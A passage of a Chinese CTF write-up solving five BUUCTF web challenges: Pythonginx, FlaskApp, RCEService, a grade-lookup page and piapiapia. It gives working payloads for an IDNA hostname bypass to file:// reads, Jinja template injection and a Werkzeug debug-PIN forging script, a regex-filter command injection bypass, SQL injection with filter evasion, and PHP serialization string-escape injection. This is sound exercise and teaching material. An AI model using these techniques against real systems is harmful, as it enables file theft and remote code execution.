BUUCTF-WEB(61-65)
[SUCTF 2019]Pythonginx
参考:[SUCTF 2019]Pythonginx 1_cve-2019-9636-CSDN博客
[SUCTF 2019]Pythonginx - 春告鳥 - 博客园 (cnblogs.com)
url中的unicode漏洞引发的域名安全问题 - 先知社区 (aliyun.com)
打开看一下源代码吧
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
我们应该绕过前面两个if,进入第三个if,然后去读取文件
然后就是利用了特殊字符去进行绕过,详情可以看一下参考的链接、
需要构造一个特殊字符,师傅的脚本里面也都有。
先查看一下passwd的文件
/getUrl?url=file://suctf.cℂ/../../../../../etc/passwd
然后提示是nginx服务器,我们查看一下nginx服务器的配置文件,然后查看到了flag文件
/getUrl?url=file://suctf.cℂ/../../../../../usr/local/nginx/conf/nginx.conf
/getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflag
[GYCTF2020]FlaskApp
参考:
[记一次Flask模板注入学习 GYCTF2020]FlaskApp - seven昔年 - 博客园 (cnblogs.com)
一般看到都觉得是模板注入,因为她有base64解密页面,那我们就在base64解密页面搞
我们输入payload,记得base64加密一下
{{7*7}}
e3s3Kjd9fQ==
这里回显了
猜测可能是waf阻拦了,我们换一个
{{7+7}}
e3s3Kzd9fQ==
回显14,那就是flask的模板注入问题
然后我就想看一下基类下面的类,但是我发现没回显,我也不太清楚,ssti也是不太熟悉
{{''.__class__.__bases__[0].__subclasses__()}}
e3snJy5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKCl9fQ==
这里没有回显我就开始参考师傅们的博客了
hint里发现
这里是构造了读取文件的payload
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19
然后的确可以读取之后,不知道flag在哪,所以要通过获取pin码打开python shell
可以先了解一下pin吧深入浅出Flask PIN - 蚁景网安实验室 - SegmentFault 思否
关于ctf中flask算pin总结_ctf:flask-CSDN博客
pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了
————————————————
原文链接:https://blog.csdn.net/qq_35782055/article/details/129126825
这里username应该就是flaskweb
然后modname是flask.app
然后appname是Flask
接下来拿moddir,通过报错注入得到,我们在解密页面输入不是base64加密的数据去解密,就会产生报错
发生报错后,发现了app.py的路径
/usr/local/lib/python3.7/site-packages/flask/app.py
然后读取/sys/class/net/eth0/address
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvc3lzL2NsYXNzL25ldC9ldGgwL2FkZHJlc3MnKS5yZWFkKCl9fQ==
得到uuidnode是 e2:32:31:55:37:09,转为十进制262220831274775
现在就只差这个machineid,对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
对于docker机则读取/proc/self/cgroup:
我们获取一下machineid
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/machine-id').read()}}
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL21hY2hpbmUtaWQnKS5yZWFkKCl9fQ==
然后得到machineid是1408f836b0ca514d796cbf8960e45fa1
开始使用计算pin的脚本
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py',
]
private_bits = [
'262220831274775',
'1408f836b0ca514d796cbf8960e45fa1'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
算出的pin
111-678-665
然后在/console打开控制台输入pin值,进入交互式,输入
import os
os.popen('ls /').read()
os.popen('cat /this_is_the_flag.txt').read()
得到flag
flag{7c2ab388-06a5-44e8-9a31-c5cf028ef033}
[FBCTF2019]RCEService
参考:
[buuctf-web FBCTF2019]RCEService - AW_SOLE - 博客园 (cnblogs.com)
preg_match绕过方法总结 · HacKerQWQ's Studio
PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)
打开题目说是json格式,我们应该payload写成json格式
我们尝试一下
{"cmd":"ls"}
代码的确执行成功
然后这里贴一下源码吧
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
他这里是修改了环境变量了,修改至/home/rceservice/jail,所以只能使用绝对路径使用cat命令
然后preg_match只会匹配第一行,我们可以绕过preg_match绕过简单总结 - z2n3 - 博客园 (cnblogs.com)
看一下目录文件
?cmd={%0A"cmd":"ls /home/rceservice"%0A}
然后查看flag
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
这边还有佬用PCRE回溯限制,附上脚本
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"'+"a"*(1000000) + '"}'
res = requests.post("http://e54bd70b-4ae8-4a5c-acbc-3b334763dc38.node5.buuoj.cn:81/", data={"cmd":payload})
print(payload)
print(res.text)
[WUSTCTF2020]颜值成绩查询
输入
1
回显100
后面输入
1 and 1=1
后面发现是过滤了空格,我们用/**/测试一下
1/**/and/**/1=1
然后
1/**/and/**/1=2
然后判断字段数
1/**/order/**/by/**/3 // 回显正常
1/**/order/**/by/**/4 // 回显错误
所以字段数为3,开始判断一下回显位置
-1/**/union/**/select/**/1,2,3
提示不存在,可能还有些被过滤了一些关键词
我们试试大小写绕过
-1/**/Union/**/Select/**/1,2,3
接下来爆数据库名:
-1/**/Union/**/Select/**/1,2,database()
爆表名:
-1/**/Union/**/Select/**/1,2,Group_concat(table_name)From/**/information_schema.tables/**/Where/**/table_schema='ctf'
爆列名
-1/**/Union/**/Select/**/1,2,Group_concat(column_name)From/**/information_schema.columns/**/Where/**/table_schema='ctf'/**/and/**/table_name='flag'
爆数据
-1/**/Union/**/Select/**/1,2,value/**/From/**/flag
1 And Extractvalue(1,Concat(0x7e,(Select database()),0x7e))
[0CTF 2016]piapiapia
参考:
[0CTF 2016]piapiapia WP(详细)_[0ctf 2016]piapiapia wp-CSDN博客
[BUUCTF-WEB 【0CTF 2016】piapiapia 1_0ctf 2016]piapiapia 1-CSDN博客
先尝试了sql注入,都失败了
没思路了扫一扫吧,我这边什么都没扫到,根据wp是扫到了
config.php index.php register.php
后面有发现是www.zip,源码泄露
config.php
profile.php
update.php
class.php
开始梳理可能存在漏洞的地方
在profile.php发现file_get_contents,可以进行文件读取
那profile又是哪里来的呢,他是有class.php里user类的show_profile的这个方法
这个方法先调用了user类的父类mysql类里面的filter类
这里是替换字符串中的单引号和反斜杠为下划线 ,并且替换多个字符串为hacker。
implode函数是表示把数组拼接起来,拼接符是 “|”
之后又调用了mysql类里面的select方法
数据是从数据库的表出来的,看看哪里进行插入数据,在mysql类里面的update方法
然后user类发现了这个方法的调用
接下来再看谁调用了user类里面的update_profile这个方法,在update.php找到
同时也看出来profile的值都有post赋值而来
这里开始分析,怎么利用漏洞
我们可以看到先判断了photo的大小,然后进行了md5加密,太难利用了
我们再看一下nickname这个参数
又在update.php有一个正则限制
然后就用数组进行一个绕过
但是数组绕过我,我们需要添加上一个}
nickname[]=where";}s:5:"photo";s:10:"config.php";}
这个时候,我们的nickname[]数组实际长度是39位,除了where,多出来了34位,所以我们需要用where构造34次,来补一下
最后的payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
分析完毕后,我们去注册页面创一个号
然后登陆进去,上传的时候抓包
修改一下
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
然后会有个链接,点击,查看源码,有一堆base64加密的数据
我们拿去解密,得到flag